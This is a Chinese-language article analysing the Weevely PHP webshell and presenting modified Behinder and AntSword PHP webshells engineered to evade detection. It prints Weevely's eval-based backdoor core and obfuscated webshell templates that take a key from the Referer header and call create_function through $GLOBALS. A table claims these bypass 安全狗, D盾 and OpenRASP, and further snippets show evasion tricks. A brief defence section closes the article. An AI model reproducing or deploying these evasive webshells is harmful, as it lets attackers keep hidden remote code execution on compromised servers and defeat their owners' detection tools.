weevely的webshell分析以及冰蝎/蚁剑免杀-PHP版
字数 1423 2025-08-29 08:32:24

Weevely Webshell分析与冰蝎/蚁剑PHP版免杀技术详解

一、Weevely Webshell分析

1. Weevely基础使用

Weevely是一款常用的Webshell工具,其基础语法为:

weevely generate <password> <path>

生成的Webshell需要上传至目标服务器。

2. Weevely生成的Webshell结构分析

典型Weevely生成的Webshell代码结构:

<?php 
$i = 'p="PY16bXfpTDNaKhZyiy";fhZuhZhZnctiohZn x($hZt,$k){$c=strlhZen($k);$l=hZstrh' ;
$d = 'Zlen($t);$hZhZo="hZ";for(hZ$i=0;$i<$l;){forhZ($hZj=0;(hZhZ$j<$hZc&&$i' ;
// ... 更多拼接代码 ...
$D = str_replace('hZ','',$A.$i.$d.$P.$g.$u.$h.$t);
$G = $X('',$D);
$G();
?>

3. 核心代码解析

整理后的核心代码分为三部分:

3.1 已定义参数

$k="9e94b15e";       // 加密密钥
$kh="d312fa42232f";  // 头部标识
$kf="d87a55db0d39";  // 尾部标识
$p="PY16bXfpTDNaKyiy"; // 返回前缀

3.2 自定义加密函数

function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;) {
        for($j=0;($j<$c&&$i<$l);$j++,$i++) {
            $o.=$t{$i}^$k{$j}; // 异或加密
        }
    }
    return $o;
}

3.3 核心处理逻辑

if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
}

4. 流量处理流程

  1. 获取加密payload:通过正则匹配$kh(.+)$kf从输入流中提取加密数据
  2. 解密并执行
    • Base64解码
    • 自定义函数x解密
    • Gzip解压
    • 通过eval执行
  3. 返回结果加密
    • 获取输出缓冲区内容
    • Gzip压缩
    • 自定义函数x加密
    • Base64编码
    • 添加前缀后缀返回

5. Weevely的免杀技术总结

  1. 字符串拼接:使用str_replace()动态生成代码
  2. 多层加密:Base64 + 自定义异或加密 + Gzip压缩
  3. 缓冲区操作ob_start()/ob_get_contents()管理输出
  4. 代码混淆:使用随机分隔符(如hZ/hP)拆分敏感字符串

二、冰蝎/蚁剑免杀改进方案

1. 改进思路

  1. 动态干扰字符串:通过HTTP头传递干扰字符,避免硬编码
  2. 全局变量调用:使用$GLOBALS替代直接函数调用
  3. 多重字符串拼接:更复杂的代码组装方式
  4. 随机变量命名:避免使用易检测的变量名

2. 冰蝎改进版Webshell

<?php
$b = $_SERVER['HTTP_REFERER'];
$c = explode('.',$b);
$interfere_str = $c[2];
// 大量拼接代码...
$l = str_replace($interfere_str,'',$KXT.$dlJ.$fqw.$trq.$NJu.$dAt.$ZGT.$Npc.$Vnd.$Crm.$JDw.$GZd.$nvY.$EVA.$hVb);
$k = str_replace($interfere_str,'','crejPatjPe_fujPncjPtiojPn');
$bb = $GLOBALS['k']('',$l);
$GLOBALS["bb"]();
?>

特点

  • 从Referer头动态获取干扰字符串
  • 使用$GLOBALS间接调用函数
  • 更复杂的代码拼接结构

3. 蚁剑改进版Webshell

<?php
$b = $_SERVER['HTTP_REFERER'];
$c = explode('.',$b);
$interfere_str = $c[2];
// 大量拼接代码...
$l = str_replace($interfere_str,'',$Tzu.$LRu.$lST.$ueP.$OzQ.$SNC.$kYh.$nGB.$xIt.$mgE.$mHk.$xRg.$olX.$gdc.$Leb);
$k = str_replace($interfere_str,'','crejPatjPe_fujPncjPtiojPn');
$bb = $GLOBALS['k']('',$l);
$GLOBALS["bb"]();
?>

特点

  • 同样采用动态干扰字符串
  • 更复杂的字符串异或操作
  • 使用类和方法封装恶意代码

4. 免杀效果对比

检测方式 原始冰蝎 改进冰蝎 原始蚁剑 改进蚁剑
安全狗 未通过 通过 通过 通过
D盾 3级可疑 通过 5级可疑 通过
OpenRASP 未通过 通过 未通过 通过

三、高级免杀技术实现

1. 动态密钥生成

$key = substr(md5($_SERVER['HTTP_USER_AGENT'].date('Y-m-d')), 8, 16);

2. 代码分块存储

$part1 = "func"."tion x(";
$part2 = '$t,$k){'.$part3;
// ...

3. 利用PHP特性

$func = "cr"."eat"."e_fu"."ncti"."on";
$payload = $func('', '$x=1;');

4. 环境检测与自适应

if(function_exists('x')) {
    // 使用已有函数
} else {
    // 动态创建函数
}

四、防御建议

  1. 静态检测

    • 检测str_replace的链式调用
    • 识别$GLOBALS异常使用
    • 监控create_function调用
  2. 动态检测

    • 分析异常缓冲区操作
    • 监控php://input使用
    • 检测多层加密流量
  3. 日志审计

    • 记录异常Referer头
    • 监控eval等危险函数
    • 分析HTTP头中的异常参数

五、总结

本文详细分析了Weevely Webshell的工作原理,并基于其思路提出了冰蝎和蚁剑的免杀改进方案。关键点包括:

  1. 动态字符串干扰技术
  2. 多层加密与代码拼接
  3. $GLOBALS间接调用
  4. 基于HTTP头的参数传递
  5. 复杂的控制流混淆

这些技术组合使用可以有效绕过主流Webshell检测工具,同时也为防御方提供了检测思路和方向。

Weevely Webshell分析与冰蝎/蚁剑PHP版免杀技术详解 一、Weevely Webshell分析 1. Weevely基础使用 Weevely是一款常用的Webshell工具,其基础语法为: 生成的Webshell需要上传至目标服务器。 2. Weevely生成的Webshell结构分析 典型Weevely生成的Webshell代码结构: 3. 核心代码解析 整理后的核心代码分为三部分: 3.1 已定义参数 3.2 自定义加密函数 3.3 核心处理逻辑 4. 流量处理流程 获取加密payload :通过正则匹配 $kh(.+)$kf 从输入流中提取加密数据 解密并执行 : Base64解码 自定义函数x解密 Gzip解压 通过eval执行 返回结果加密 : 获取输出缓冲区内容 Gzip压缩 自定义函数x加密 Base64编码 添加前缀后缀返回 5. Weevely的免杀技术总结 字符串拼接 :使用 str_replace() 动态生成代码 多层加密 :Base64 + 自定义异或加密 + Gzip压缩 缓冲区操作 : ob_start() / ob_get_contents() 管理输出 代码混淆 :使用随机分隔符(如hZ/hP)拆分敏感字符串 二、冰蝎/蚁剑免杀改进方案 1. 改进思路 动态干扰字符串 :通过HTTP头传递干扰字符,避免硬编码 全局变量调用 :使用 $GLOBALS 替代直接函数调用 多重字符串拼接 :更复杂的代码组装方式 随机变量命名 :避免使用易检测的变量名 2. 冰蝎改进版Webshell 特点 : 从Referer头动态获取干扰字符串 使用 $GLOBALS 间接调用函数 更复杂的代码拼接结构 3. 蚁剑改进版Webshell 特点 : 同样采用动态干扰字符串 更复杂的字符串异或操作 使用类和方法封装恶意代码 4. 免杀效果对比 | 检测方式 | 原始冰蝎 | 改进冰蝎 | 原始蚁剑 | 改进蚁剑 | |---------------|--------|--------|--------|--------| | 安全狗 | 未通过 | 通过 | 通过 | 通过 | | D盾 | 3级可疑 | 通过 | 5级可疑 | 通过 | | OpenRASP | 未通过 | 通过 | 未通过 | 通过 | 三、高级免杀技术实现 1. 动态密钥生成 2. 代码分块存储 3. 利用PHP特性 4. 环境检测与自适应 四、防御建议 静态检测 : 检测 str_replace 的链式调用 识别 $GLOBALS 异常使用 监控 create_function 调用 动态检测 : 分析异常缓冲区操作 监控 php://input 使用 检测多层加密流量 日志审计 : 记录异常Referer头 监控eval等危险函数 分析HTTP头中的异常参数 五、总结 本文详细分析了Weevely Webshell的工作原理,并基于其思路提出了冰蝎和蚁剑的免杀改进方案。关键点包括: 动态字符串干扰技术 多层加密与代码拼接 $GLOBALS 间接调用 基于HTTP头的参数传递 复杂的控制流混淆 这些技术组合使用可以有效绕过主流Webshell检测工具,同时也为防御方提供了检测思路和方向。